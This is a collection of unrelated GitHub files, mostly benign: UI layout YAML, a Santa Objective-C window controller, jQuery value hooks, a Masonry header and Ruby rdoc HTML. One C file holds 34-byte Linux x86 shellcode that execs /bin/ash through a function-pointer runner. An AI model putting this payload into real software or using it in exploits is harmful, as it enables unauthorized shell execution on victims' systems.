<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="Property" />
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="Synthesize" />
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="InitMethod" />
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="StaticMethod" />
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="InstanceMethod" />
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="DeallocMethod" />
</class>
<extensions>
<pair source="cpp" header="h" fileNamingConvention="NONE" />
<pair source="c" header="h" fileNamingConvention="NONE" />
</extensions>
</Objective-C-extensions>
</code_scheme>
</component> | {
"pile_set_name": "Github"
} |
/*
* Copyright Red Hat Inc. and/or its affiliates and other contributors
* as indicated by the authors tag. All rights reserved.
*
* This copyrighted material is made available to anyone wishing to use,
* modify, copy, or redistribute it subject to the terms and conditions
* of the GNU General Public License version 2.
*
* This particular file is subject to the "Classpath" exception as provided in the
* LICENSE file that accompanied this code.
*
* This program is distributed in the hope that it will be useful, but WITHOUT A
* WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
* PARTICULAR PURPOSE. See the GNU General Public License for more details.
* You should have received a copy of the GNU General Public License,
* along with this distribution; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
* MA 02110-1301, USA.
*/
@noanno
void bug517() {
Ranged<Integer,Character,String> ran = "hello";
} | {
"pile_set_name": "Github"
} |
#include "qsysinfo.h"
| {
"pile_set_name": "Github"
} |
Container@GAMESAVE_LOADING_SCREEN:
Logic: GameSaveLoadingLogic
Width: WINDOW_RIGHT
Height: WINDOW_BOTTOM
Children:
LogicKeyListener@CANCEL_HANDLER:
Image@NOD:
X: WINDOW_RIGHT / 2 - 384
Y: (WINDOW_BOTTOM - 256) / 2
ImageCollection: logos
ImageName: nod-load
Image@GDI:
X: WINDOW_RIGHT / 2 + 128
Y: (WINDOW_BOTTOM - 256) / 2
ImageCollection: logos
ImageName: gdi-load
Image@EVA:
X: WINDOW_RIGHT - 128 - 43
Y: 43
Width: 128
Height: 64
ImageCollection: logos
ImageName: eva
Label@VERSION_LABEL:
X: WINDOW_RIGHT - 128 - 43
Y: 116
Width: 128
Align: Center
Shadow: true
Background@BORDER:
Width: WINDOW_RIGHT
Height: WINDOW_BOTTOM
Background: shellmapborder
Label@TITLE:
Width: WINDOW_RIGHT
Y: 3 * WINDOW_BOTTOM / 4 - 29
Height: 25
Font: Bold
Align: Center
Text: Loading Saved Game
ProgressBar@PROGRESS:
X: (WINDOW_RIGHT - 500) / 2
Y: 3 * WINDOW_BOTTOM / 4
Width: 500
Height: 20
Label@DESC:
Width: WINDOW_RIGHT
Y: 3 * WINDOW_BOTTOM / 4 + 19
Height: 25
Font: Regular
Align: Center
Text: Press Escape to cancel loading and return to the main menu
| {
"pile_set_name": "Github"
} |
package com.argusapm.android.core.job.memory;
import android.text.TextUtils;
import com.argusapm.android.api.ApmTask;
import com.argusapm.android.core.storage.DbHelper;
import com.argusapm.android.core.storage.ITable;
/**
* @author ArgusAPM Team
*/
public class MemoryTable implements ITable {
@Override
public String createSql() {
return TextUtils.concat(
DbHelper.CREATE_TABLE_PREFIX + getTableName(),
"(", MemoryInfo.KEY_ID_RECORD, " INTEGER PRIMARY KEY AUTOINCREMENT,",
MemoryInfo.KEY_TIME_RECORD, DbHelper.DATA_TYPE_INTEGER,
MemoryInfo.KEY_PROCESS_NAME, DbHelper.DATA_TYPE_TEXT,
MemoryInfo.KEY_TOTAL_PSS, DbHelper.DATA_TYPE_INTEGER,
MemoryInfo.KEY_DALVIK_PSS, DbHelper.DATA_TYPE_INTEGER,
MemoryInfo.KEY_NATIVE_PSS, DbHelper.DATA_TYPE_INTEGER,
MemoryInfo.KEY_OTHER_PSS, DbHelper.DATA_TYPE_INTEGER,
MemoryInfo.KEY_PARAM, DbHelper.DATA_TYPE_TEXT,
MemoryInfo.KEY_RESERVE_1, DbHelper.DATA_TYPE_TEXT,
MemoryInfo.KEY_RESERVE_2, DbHelper.DATA_TYPE_TEXT_SUF
).toString();
}
@Override
public String getTableName() {
return ApmTask.TASK_MEM;
}
} | {
"pile_set_name": "Github"
} |
/*
* Linux x86 shellcode by bob from Dtors.net.
* execve()/bin/ash; exit;
* Total = 34 bytes.
*/
#include <stdio.h>
char shellcode[]=
"\x31\xc0\x50\x68\x2f\x61\x73\x68\x68"
"\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24"
"\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd"
"\x80\x31\xc0\xb0\x01\xcd\x80";
int
main()
{
void (*dsr) ();
(long) dsr = &shellcode;
printf("Size: %d bytes.\n", sizeof(shellcode));
dsr();
} | {
"pile_set_name": "Github"
} |
//
// MASConstraintBuilder.h
// Masonry
//
// Created by Jonas Budelmann on 20/07/13.
// Copyright (c) 2013 cloudling. All rights reserved.
//
#import "MASConstraint.h"
#import "MASUtilities.h"
typedef NS_OPTIONS(NSInteger, MASAttribute) {
MASAttributeLeft = 1 << NSLayoutAttributeLeft,
MASAttributeRight = 1 << NSLayoutAttributeRight,
MASAttributeTop = 1 << NSLayoutAttributeTop,
MASAttributeBottom = 1 << NSLayoutAttributeBottom,
MASAttributeLeading = 1 << NSLayoutAttributeLeading,
MASAttributeTrailing = 1 << NSLayoutAttributeTrailing,
MASAttributeWidth = 1 << NSLayoutAttributeWidth,
MASAttributeHeight = 1 << NSLayoutAttributeHeight,
MASAttributeCenterX = 1 << NSLayoutAttributeCenterX,
MASAttributeCenterY = 1 << NSLayoutAttributeCenterY,
MASAttributeBaseline = 1 << NSLayoutAttributeBaseline,
#if (__IPHONE_OS_VERSION_MIN_REQUIRED >= 80000) || (__TV_OS_VERSION_MIN_REQUIRED >= 9000) || (__MAC_OS_X_VERSION_MIN_REQUIRED >= 101100)
MASAttributeFirstBaseline = 1 << NSLayoutAttributeFirstBaseline,
MASAttributeLastBaseline = 1 << NSLayoutAttributeLastBaseline,
#endif
#if TARGET_OS_IPHONE || TARGET_OS_TV
MASAttributeLeftMargin = 1 << NSLayoutAttributeLeftMargin,
MASAttributeRightMargin = 1 << NSLayoutAttributeRightMargin,
MASAttributeTopMargin = 1 << NSLayoutAttributeTopMargin,
MASAttributeBottomMargin = 1 << NSLayoutAttributeBottomMargin,
MASAttributeLeadingMargin = 1 << NSLayoutAttributeLeadingMargin,
MASAttributeTrailingMargin = 1 << NSLayoutAttributeTrailingMargin,
MASAttributeCenterXWithinMargins = 1 << NSLayoutAttributeCenterXWithinMargins,
MASAttributeCenterYWithinMargins = 1 << NSLayoutAttributeCenterYWithinMargins,
#endif
};
/**
* Provides factory methods for creating MASConstraints.
* Constraints are collected until they are ready to be installed
*
*/
@interface MASConstraintMaker : NSObject
/**
* The following properties return a new MASViewConstraint
* with the first item set to the makers associated view and the appropriate MASViewAttribute
*/
@property (nonatomic, strong, readonly) MASConstraint *left;
@property (nonatomic, strong, readonly) MASConstraint *top;
@property (nonatomic, strong, readonly) MASConstraint *right;
@property (nonatomic, strong, readonly) MASConstraint *bottom;
@property (nonatomic, strong, readonly) MASConstraint *leading;
@property (nonatomic, strong, readonly) MASConstraint *trailing;
@property (nonatomic, strong, readonly) MASConstraint *width;
@property (nonatomic, strong, readonly) MASConstraint *height;
@property (nonatomic, strong, readonly) MASConstraint *centerX;
@property (nonatomic, strong, readonly) MASConstraint *centerY;
@property (nonatomic, strong, readonly) MASConstraint *baseline;
#if (__IPHONE_OS_VERSION_MIN_REQUIRED >= 80000) || (__TV_OS_VERSION_MIN_REQUIRED >= 9000) || (__MAC_OS_X_VERSION_MIN_REQUIRED >= 101100)
@property (nonatomic, strong, readonly) MASConstraint *firstBaseline;
@property (nonatomic, strong, readonly) MASConstraint *lastBaseline;
#endif
#if TARGET_OS_IPHONE || TARGET_OS_TV
@property (nonatomic, strong, readonly) MASConstraint *leftMargin;
@property (nonatomic, strong, readonly) MASConstraint *rightMargin;
@property (nonatomic, strong, readonly) MASConstraint *topMargin;
@property (nonatomic, strong, readonly) MASConstraint *bottomMargin;
@property (nonatomic, strong, readonly) MASConstraint *leadingMargin;
@property (nonatomic, strong, readonly) MASConstraint *trailingMargin;
@property (nonatomic, strong, readonly) MASConstraint *centerXWithinMargins;
@property (nonatomic, strong, readonly) MASConstraint *centerYWithinMargins;
#endif
/**
* Returns a block which creates a new MASCompositeConstraint with the first item set
* to the makers associated view and children corresponding to the set bits in the
* MASAttribute parameter. Combine multiple attributes via binary-or.
*/
@property (nonatomic, strong, readonly) MASConstraint *(^attributes)(MASAttribute attrs);
/**
* Creates a MASCompositeConstraint with type MASCompositeConstraintTypeEdges
* which generates the appropriate MASViewConstraint children (top, left, bottom, right)
* with the first item set to the makers associated view
*/
@property (nonatomic, strong, readonly) MASConstraint *edges;
/**
* Creates a MASCompositeConstraint with type MASCompositeConstraintTypeSize
* which generates the appropriate MASViewConstraint children (width, height)
* with the first item set to the makers associated view
*/
@property (nonatomic, strong, readonly) MASConstraint *size;
/**
* Creates a MASCompositeConstraint with type MASCompositeConstraintTypeCenter
* which generates the appropriate MASViewConstraint children (centerX, centerY)
* with the first item set to the makers associated view
*/
@property (nonatomic, strong, readonly) MASConstraint *center;
/**
* Whether or not to check for an existing constraint instead of adding constraint
*/
@property (nonatomic, assign) BOOL updateExisting;
/**
* Whether or not to remove existing constraints prior to installing
*/
@property (nonatomic, assign) BOOL removeExisting;
/**
* initialises the maker with a default view
*
* @param view any MASConstrait are created with this view as the first item
*
* @return a new MASConstraintMaker
*/
- (id)initWithView:(MAS_VIEW *)view;
/**
* Calls install method on any MASConstraints which have been created by this maker
*
* @return an array of all the installed MASConstraints
*/
- (NSArray *)install;
- (MASConstraint * (^)(dispatch_block_t))group;
@end
| {
"pile_set_name": "Github"
} |
define( [
"../core",
"../core/stripAndCollapse",
"./support",
"../core/nodeName",
"../core/init"
], function( jQuery, stripAndCollapse, support, nodeName ) {
"use strict";
var rreturn = /\r/g;
jQuery.fn.extend( {
val: function( value ) {
var hooks, ret, isFunction,
elem = this[ 0 ];
if ( !arguments.length ) {
if ( elem ) {
hooks = jQuery.valHooks[ elem.type ] ||
jQuery.valHooks[ elem.nodeName.toLowerCase() ];
if ( hooks &&
"get" in hooks &&
( ret = hooks.get( elem, "value" ) ) !== undefined
) {
return ret;
}
ret = elem.value;
// Handle most common string cases
if ( typeof ret === "string" ) {
return ret.replace( rreturn, "" );
}
// Handle cases where value is null/undef or number
return ret == null ? "" : ret;
}
return;
}
isFunction = jQuery.isFunction( value );
return this.each( function( i ) {
var val;
if ( this.nodeType !== 1 ) {
return;
}
if ( isFunction ) {
val = value.call( this, i, jQuery( this ).val() );
} else {
val = value;
}
// Treat null/undefined as ""; convert numbers to string
if ( val == null ) {
val = "";
} else if ( typeof val === "number" ) {
val += "";
} else if ( Array.isArray( val ) ) {
val = jQuery.map( val, function( value ) {
return value == null ? "" : value + "";
} );
}
hooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ];
// If set returns undefined, fall back to normal setting
if ( !hooks || !( "set" in hooks ) || hooks.set( this, val, "value" ) === undefined ) {
this.value = val;
}
} );
}
} );
jQuery.extend( {
valHooks: {
option: {
get: function( elem ) {
var val = jQuery.find.attr( elem, "value" );
return val != null ?
val :
// Support: IE <=10 - 11 only
// option.text throws exceptions (#14686, #14858)
// Strip and collapse whitespace
// https://html.spec.whatwg.org/#strip-and-collapse-whitespace
stripAndCollapse( jQuery.text( elem ) );
}
},
select: {
get: function( elem ) {
var value, option, i,
options = elem.options,
index = elem.selectedIndex,
one = elem.type === "select-one",
values = one ? null : [],
max = one ? index + 1 : options.length;
if ( index < 0 ) {
i = max;
} else {
i = one ? index : 0;
}
// Loop through all the selected options
for ( ; i < max; i++ ) {
option = options[ i ];
// Support: IE <=9 only
// IE8-9 doesn't update selected after form reset (#2551)
if ( ( option.selected || i === index ) &&
// Don't return options that are disabled or in a disabled optgroup
!option.disabled &&
( !option.parentNode.disabled ||
!nodeName( option.parentNode, "optgroup" ) ) ) {
// Get the specific value for the option
value = jQuery( option ).val();
// We don't need an array for one selects
if ( one ) {
return value;
}
// Multi-Selects return an array
values.push( value );
}
}
return values;
},
set: function( elem, value ) {
var optionSet, option,
options = elem.options,
values = jQuery.makeArray( value ),
i = options.length;
while ( i-- ) {
option = options[ i ];
/* eslint-disable no-cond-assign */
if ( option.selected =
jQuery.inArray( jQuery.valHooks.option.get( option ), values ) > -1
) {
optionSet = true;
}
/* eslint-enable no-cond-assign */
}
// Force browsers to behave consistently when non-matching value is set
if ( !optionSet ) {
elem.selectedIndex = -1;
}
return values;
}
}
}
} );
// Radios and checkboxes getter/setter
jQuery.each( [ "radio", "checkbox" ], function() {
jQuery.valHooks[ this ] = {
set: function( elem, value ) {
if ( Array.isArray( value ) ) {
return ( elem.checked = jQuery.inArray( jQuery( elem ).val(), value ) > -1 );
}
}
};
if ( !support.checkOn ) {
jQuery.valHooks[ this ].get = function( elem ) {
return elem.getAttribute( "value" ) === null ? "on" : elem.value;
};
}
} );
} );
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
<background android:drawable="@drawable/ic_launcher_background" />
<foreground android:drawable="@drawable/ic_launcher_foreground" />
</adaptive-icon> | {
"pile_set_name": "Github"
} |
/// Copyright 2015 Google Inc. All rights reserved.
///
/// Licensed under the Apache License, Version 2.0 (the "License");
/// you may not use this file except in compliance with the License.
/// You may obtain a copy of the License at
///
/// http://www.apache.org/licenses/LICENSE-2.0
///
/// Unless required by applicable law or agreed to in writing, software
/// distributed under the License is distributed on an "AS IS" BASIS,
/// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
/// See the License for the specific language governing permissions and
/// limitations under the License.
#import "Source/santa/SNTMessageWindowController.h"
#import <MOLCertificate/MOLCertificate.h>
#import <SecurityInterface/SFCertificatePanel.h>
#import "Source/common/SNTBlockMessage.h"
#import "Source/common/SNTConfigurator.h"
#import "Source/common/SNTStoredEvent.h"
#import "Source/santa/SNTMessageWindow.h"
@interface SNTMessageWindowController ()
/// The custom message to display for this event
@property(copy) NSString *customMessage;
/// A 'friendly' string representing the certificate information
@property(readonly, nonatomic) NSString *publisherInfo;
/// An optional message to display with this block.
@property(readonly, nonatomic) NSAttributedString *attributedCustomMessage;
/// Reference to the "Application Name" label in the XIB. Used to remove if application
/// doesn't have a CFBundleName.
@property(weak) IBOutlet NSTextField *applicationNameLabel;
/// Linked to checkbox in UI to prevent future notifications for this binary.
@property BOOL silenceFutureNotifications;
@end
@implementation SNTMessageWindowController
- (instancetype)initWithEvent:(SNTStoredEvent *)event andMessage:(NSString *)message {
self = [super initWithWindowNibName:@"MessageWindow"];
if (self) {
_event = event;
_customMessage = message;
_progress = [NSProgress discreteProgressWithTotalUnitCount:1];
[_progress addObserver:self
forKeyPath:@"fractionCompleted"
options:NSKeyValueObservingOptionNew
context:NULL];
}
return self;
}
- (void)dealloc {
[_progress removeObserver:self forKeyPath:@"fractionCompleted"];
}
- (void)observeValueForKeyPath:(NSString *)keyPath
ofObject:(id)object
change:(NSDictionary *)change
context:(void *)context {
if ([keyPath isEqualToString:@"fractionCompleted"]) {
dispatch_async(dispatch_get_main_queue(), ^{
NSProgress *progress = object;
if (progress.fractionCompleted != 0.0) {
self.hashingIndicator.indeterminate = NO;
}
self.hashingIndicator.doubleValue = progress.fractionCompleted;
});
}
}
- (void)loadWindow {
[super loadWindow];
[self.window setLevel:NSPopUpMenuWindowLevel];
[self.window setMovableByWindowBackground:YES];
if (![[SNTConfigurator configurator] eventDetailURL]) {
[self.openEventButton removeFromSuperview];
} else {
NSString *eventDetailText = [[SNTConfigurator configurator] eventDetailText];
if (eventDetailText) {
[self.openEventButton setTitle:eventDetailText];
}
}
if (!self.event.needsBundleHash) {
[self.bundleHashLabel removeFromSuperview];
[self.hashingIndicator removeFromSuperview];
[self.foundFileCountLabel removeFromSuperview];
} else {
self.openEventButton.enabled = NO;
self.hashingIndicator.indeterminate = YES;
[self.hashingIndicator startAnimation:self];
self.bundleHashLabel.hidden = YES;
self.foundFileCountLabel.stringValue = @"";
}
if (!self.event.fileBundleName) {
[self.applicationNameLabel removeFromSuperview];
}
}
- (IBAction)showWindow:(id)sender {
[(SNTMessageWindow *)self.window fadeIn:sender];
}
- (IBAction)closeWindow:(id)sender {
[self.progress cancel];
[(SNTMessageWindow *)self.window fadeOut:sender];
}
- (void)windowWillClose:(NSNotification *)notification {
if (!self.delegate) return;
if (self.silenceFutureNotifications) {
[self.delegate windowDidCloseSilenceHash:self.event.fileSHA256];
} else {
[self.delegate windowDidCloseSilenceHash:nil];
}
}
- (IBAction)showCertInfo:(id)sender {
// SFCertificatePanel expects an NSArray of SecCertificateRef's
NSMutableArray *certArray = [NSMutableArray arrayWithCapacity:[self.event.signingChain count]];
for (MOLCertificate *cert in self.event.signingChain) {
[certArray addObject:(id)cert.certRef];
}
[[[SFCertificatePanel alloc] init] beginSheetForWindow:self.window
modalDelegate:nil
didEndSelector:nil
contextInfo:nil
certificates:certArray
showGroup:YES];
}
- (IBAction)openEventDetails:(id)sender {
NSURL *url = [SNTBlockMessage eventDetailURLForEvent:self.event];
[self closeWindow:sender];
[[NSWorkspace sharedWorkspace] openURL:url];
}
#pragma mark Generated properties
+ (NSSet *)keyPathsForValuesAffectingValueForKey:(NSString *)key {
if (![key isEqualToString:@"event"]) {
return [NSSet setWithObject:@"event"];
} else {
return [NSSet set];
}
}
- (NSString *)publisherInfo {
MOLCertificate *leafCert = [self.event.signingChain firstObject];
if (leafCert.commonName && leafCert.orgName) {
return [NSString stringWithFormat:@"%@ - %@", leafCert.orgName, leafCert.commonName];
} else if (leafCert.commonName) {
return leafCert.commonName;
} else if (leafCert.orgName) {
return leafCert.orgName;
} else {
return nil;
}
}
- (NSAttributedString *)attributedCustomMessage {
return [SNTBlockMessage attributedBlockMessageForEvent:self.event
customMessage:self.customMessage];
}
@end
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Module: Enumerable</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<link rel="stylesheet" href=".././rdoc-style.css" type="text/css" media="screen" />
<script language="JavaScript" type="text/javascript">
// <![CDATA[
function toggleSource( id )
{
var elem
var link
if( document.getElementById )
{
elem = document.getElementById( id )
link = document.getElementById( "l_" + id )
}
else if ( document.all )
{
elem = eval( "document.all." + id )
link = eval( "document.all.l_" + id )
}
else
return false;
if( elem.style.display == "block" )
{
elem.style.display = "none"
link.innerHTML = "show source"
}
else
{
elem.style.display = "block"
link.innerHTML = "hide source"
}
}
function openCode( url )
{
window.open( url, "SOURCE_CODE", "width=400,height=400,scrollbars=yes" )
}
// ]]>
</script>
</head>
<body>
<table width="100%" border='0' cellpadding='0' cellspacing='0' class='banner'><tr>
<td class="file-title"><span class="file-title-prefix">Module</span><br />Enumerable</td>
<td align="right">
<table cellspacing=0 cellpadding=2>
<tr valign="top">
<td>In:</td>
<td>
<a href="../files/stdExt_rb.html">stdExt.rb</a>
</td>
</tr>
</table>
</td>
</tr>
</table>
<!-- banner header -->
<div id="bodyContent">
<div id="content">
<table cellpadding='0' cellspacing='0' border='0' width="100%"><tr><td align="center">
<map id="map" name="map">
<area shape="RECT" coords="17,17,111,64" href="Enumerable.html" alt="Enumerable">
</map>
<img src="../dot/m_2_0.png" usemap="#map" border=0 alt="Module: Enumerable">
</td></tr></table>
<div class="sectiontitle">Methods</div>
<ul>
<li><a href="#M000104">average</a></li>
<li><a href="#M000107">correlate</a></li>
<li><a href="#M000106">sigma</a></li>
<li><a href="#M000103">sum</a></li>
<li><a href="#M000105">variance</a></li>
</ul>
<div class="sectiontitle">Public Instance methods</div>
<div class="method">
<div class="title">
<a name="M000104"></a><b>average</b>(&b)
</div>
<div class="sourcecode">
<p class="source-link">[ <a href="javascript:toggleSource('M000104_source')" id="l_M000104_source">show source</a> ]</p>
<div id="M000104_source" class="dyn-source">
<pre>
<span class="ruby-comment cmt"># File stdExt.rb, line 20</span>
<span class="ruby-keyword kw">def</span> <span class="ruby-identifier">average</span>(<span class="ruby-operator">&</span><span class="ruby-identifier">b</span>)
<span class="ruby-keyword kw">if</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">size</span><span class="ruby-operator">></span><span class="ruby-value">0</span>
<span class="ruby-comment cmt">#puts "sum: #{self.sum(&b)}"</span>
(<span class="ruby-identifier">sum</span>(<span class="ruby-operator">&</span><span class="ruby-identifier">b</span>) <span class="ruby-operator">/</span> <span class="ruby-identifier">size</span>).<span class="ruby-identifier">to_f</span>
<span class="ruby-keyword kw">else</span>
<span class="ruby-value">0</span>
<span class="ruby-keyword kw">end</span>
<span class="ruby-keyword kw">end</span>
</pre>
</div>
</div>
</div>
<div class="method">
<div class="title">
<a name="M000107"></a><b>correlate</b>(sample=0)
</div>
<div class="description">
<p>
calculates the correlation coefficent of the linear regession
</p>
<p>
requirement: the contents are Arrays itself
</p>
</div>
<div class="sourcecode">
<p class="source-link">[ <a href="javascript:toggleSource('M000107_source')" id="l_M000107_source">show source</a> ]</p>
<div id="M000107_source" class="dyn-source">
<pre>
<span class="ruby-comment cmt"># File stdExt.rb, line 56</span>
<span class="ruby-keyword kw">def</span> <span class="ruby-identifier">correlate</span>(<span class="ruby-identifier">sample</span>=<span class="ruby-value">0</span>)
<span class="ruby-comment cmt"># if self.first.class.is_a? Array</span>
<span class="ruby-comment cmt"># require 'pp'</span>
<span class="ruby-identifier">p</span> <span class="ruby-identifier">vSum</span>=<span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">sum</span>{<span class="ruby-operator">|</span><span class="ruby-identifier">x</span><span class="ruby-operator">|</span> <span class="ruby-identifier">x</span>.<span class="ruby-identifier">first</span> <span class="ruby-operator">*</span> <span class="ruby-identifier">x</span>.<span class="ruby-identifier">last</span> }
<span class="ruby-identifier">p</span> <span class="ruby-identifier">xyMean</span> = <span class="ruby-identifier">vSum</span> <span class="ruby-operator">/</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">size</span>.<span class="ruby-identifier">to_f</span>
<span class="ruby-identifier">p</span> <span class="ruby-identifier">xMean</span> = <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">average</span>{<span class="ruby-operator">|</span><span class="ruby-identifier">x</span><span class="ruby-operator">|</span> <span class="ruby-identifier">x</span>.<span class="ruby-identifier">first</span>}
<span class="ruby-identifier">p</span> <span class="ruby-identifier">yMean</span> = <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">average</span>{<span class="ruby-operator">|</span><span class="ruby-identifier">x</span><span class="ruby-operator">|</span> <span class="ruby-identifier">x</span>.<span class="ruby-identifier">last</span>}
<span class="ruby-identifier">p</span> <span class="ruby-identifier">xSigma</span>= <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">sigma</span>(<span class="ruby-identifier">sample</span>){<span class="ruby-operator">|</span><span class="ruby-identifier">x</span><span class="ruby-operator">|</span> <span class="ruby-identifier">x</span>.<span class="ruby-identifier">first</span>}
<span class="ruby-identifier">p</span> <span class="ruby-identifier">ySigma</span> = <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">sigma</span>(<span class="ruby-identifier">sample</span>){<span class="ruby-operator">|</span><span class="ruby-identifier">x</span><span class="ruby-operator">|</span> <span class="ruby-identifier">x</span>.<span class="ruby-identifier">last</span>}
( <span class="ruby-identifier">xyMean</span> <span class="ruby-operator">-</span> (<span class="ruby-identifier">xMean</span> <span class="ruby-operator">*</span> <span class="ruby-identifier">yMean</span>)) <span class="ruby-operator">/</span> (<span class="ruby-identifier">xSigma</span> <span class="ruby-operator">*</span> <span class="ruby-identifier">ySigma</span> )
<span class="ruby-comment cmt"># else</span>
<span class="ruby-comment cmt"># 0</span>
<span class="ruby-comment cmt">#end </span>
<span class="ruby-keyword kw">end</span>
</pre>
</div>
</div>
</div>
<div class="method">
<div class="title">
<a name="M000106"></a><b>sigma</b>(sample=0,&b)
</div>
<div class="description">
<p>
calculates the standard- deviation
</p>
</div>
<div class="sourcecode">
<p class="source-link">[ <a href="javascript:toggleSource('M000106_source')" id="l_M000106_source">show source</a> ]</p>
<div id="M000106_source" class="dyn-source">
<pre>
<span class="ruby-comment cmt"># File stdExt.rb, line 50</span>
<span class="ruby-keyword kw">def</span> <span class="ruby-identifier">sigma</span>(<span class="ruby-identifier">sample</span>=<span class="ruby-value">0</span>,<span class="ruby-operator">&</span><span class="ruby-identifier">b</span>)
<span class="ruby-constant">Math</span><span class="ruby-operator">::</span><span class="ruby-identifier">sqrt</span>( <span class="ruby-identifier">variance</span>(<span class="ruby-identifier">sample</span>,<span class="ruby-operator">&</span><span class="ruby-identifier">b</span>)) <span class="ruby-keyword kw">rescue</span> <span class="ruby-value">0</span>
<span class="ruby-keyword kw">end</span>
</pre>
</div>
</div>
</div>
<div class="method">
<div class="title">
<a name="M000103"></a><b>sum</b>() {|i| ...}
</div>
<div class="sourcecode">
<p class="source-link">[ <a href="javascript:toggleSource('M000103_source')" id="l_M000103_source">show source</a> ]</p>
<div id="M000103_source" class="dyn-source">
<pre>
<span class="ruby-comment cmt"># File stdExt.rb, line 12</span>
<span class="ruby-keyword kw">def</span> <span class="ruby-identifier">sum</span>
<span class="ruby-keyword kw">if</span> <span class="ruby-identifier">block_given?</span>
<span class="ruby-identifier">inject</span>(<span class="ruby-value">0</span>) {<span class="ruby-operator">|</span><span class="ruby-identifier">n</span>, <span class="ruby-identifier">i</span><span class="ruby-operator">|</span> <span class="ruby-keyword kw">yield</span>(<span class="ruby-identifier">i</span>).<span class="ruby-identifier">nil?</span> <span class="ruby-value">? </span><span class="ruby-identifier">n</span> <span class="ruby-operator">:</span> <span class="ruby-keyword kw">yield</span>(<span class="ruby-identifier">i</span>) <span class="ruby-operator">+</span> <span class="ruby-identifier">n</span> }
<span class="ruby-keyword kw">else</span>
<span class="ruby-identifier">inject</span>(<span class="ruby-value">0</span>) {<span class="ruby-operator">|</span><span class="ruby-identifier">n</span>, <span class="ruby-identifier">i</span><span class="ruby-operator">|</span> <span class="ruby-identifier">n</span> <span class="ruby-operator">+</span> <span class="ruby-identifier">i</span> }
<span class="ruby-keyword kw">end</span>
<span class="ruby-keyword kw">end</span>
</pre>
</div>
</div>
</div>
<div class="method">
<div class="title">
<a name="M000105"></a><b>variance</b>(sample=0) {|k| ...}
</div>
<div class="description">
<p>
calculates the variance
</p>
<p>
if sample is given and is not zero (0), the calculation is based on a
sample of the array-elements
</p>
</div>
<div class="sourcecode">
<p class="source-link">[ <a href="javascript:toggleSource('M000105_source')" id="l_M000105_source">show source</a> ]</p>
<div id="M000105_source" class="dyn-source">
<pre>
<span class="ruby-comment cmt"># File stdExt.rb, line 32</span>
<span class="ruby-keyword kw">def</span> <span class="ruby-identifier">variance</span>(<span class="ruby-identifier">sample</span>=<span class="ruby-value">0</span>)
<span class="ruby-keyword kw">if</span> <span class="ruby-identifier">size</span> <span class="ruby-operator">></span><span class="ruby-value">1</span>
<span class="ruby-keyword kw">if</span> <span class="ruby-identifier">block_given?</span>
<span class="ruby-keyword kw">if</span> <span class="ruby-identifier">sample</span>.<span class="ruby-identifier">zero?</span>
(<span class="ruby-identifier">size</span> <span class="ruby-operator">*</span> <span class="ruby-identifier">inject</span>(<span class="ruby-value">0</span>){<span class="ruby-operator">|</span><span class="ruby-identifier">x</span>, <span class="ruby-identifier">k</span><span class="ruby-operator">|</span> <span class="ruby-identifier">x</span> <span class="ruby-operator">+</span> <span class="ruby-keyword kw">yield</span>(<span class="ruby-identifier">k</span>) <span class="ruby-operator">**</span> <span class="ruby-value">2</span> } <span class="ruby-operator">-</span> <span class="ruby-identifier">inject</span>(<span class="ruby-value">0</span>){<span class="ruby-operator">|</span><span class="ruby-identifier">x</span>, <span class="ruby-identifier">k</span><span class="ruby-operator">|</span> <span class="ruby-identifier">x</span> <span class="ruby-operator">+</span> <span class="ruby-keyword kw">yield</span>(<span class="ruby-identifier">k</span>) } <span class="ruby-operator">**</span> <span class="ruby-value">2</span>).<span class="ruby-identifier">to_f</span> <span class="ruby-operator">/</span> ( <span class="ruby-identifier">size</span><span class="ruby-operator">**</span><span class="ruby-value">2</span> ) .<span class="ruby-identifier">to_f</span>
<span class="ruby-keyword kw">else</span>
(<span class="ruby-identifier">size</span> <span class="ruby-operator">*</span> <span class="ruby-identifier">inject</span>(<span class="ruby-value">0</span>){<span class="ruby-operator">|</span><span class="ruby-identifier">x</span>, <span class="ruby-identifier">k</span><span class="ruby-operator">|</span> <span class="ruby-identifier">x</span> <span class="ruby-operator">+</span> <span class="ruby-keyword kw">yield</span>(<span class="ruby-identifier">k</span>) <span class="ruby-operator">**</span> <span class="ruby-value">2</span> } <span class="ruby-operator">-</span> <span class="ruby-identifier">inject</span>(<span class="ruby-value">0</span>){<span class="ruby-operator">|</span><span class="ruby-identifier">x</span>, <span class="ruby-identifier">k</span><span class="ruby-operator">|</span> <span class="ruby-identifier">x</span> <span class="ruby-operator">+</span> <span class="ruby-keyword kw">yield</span>(<span class="ruby-identifier">k</span>) } <span class="ruby-operator">**</span> <span class="ruby-value">2</span>).<span class="ruby-identifier">to_f</span> <span class="ruby-operator">/</span> (<span class="ruby-identifier">size</span><span class="ruby-operator">*</span> (<span class="ruby-identifier">size</span> <span class="ruby-operator">-</span> <span class="ruby-value">1</span>) ).<span 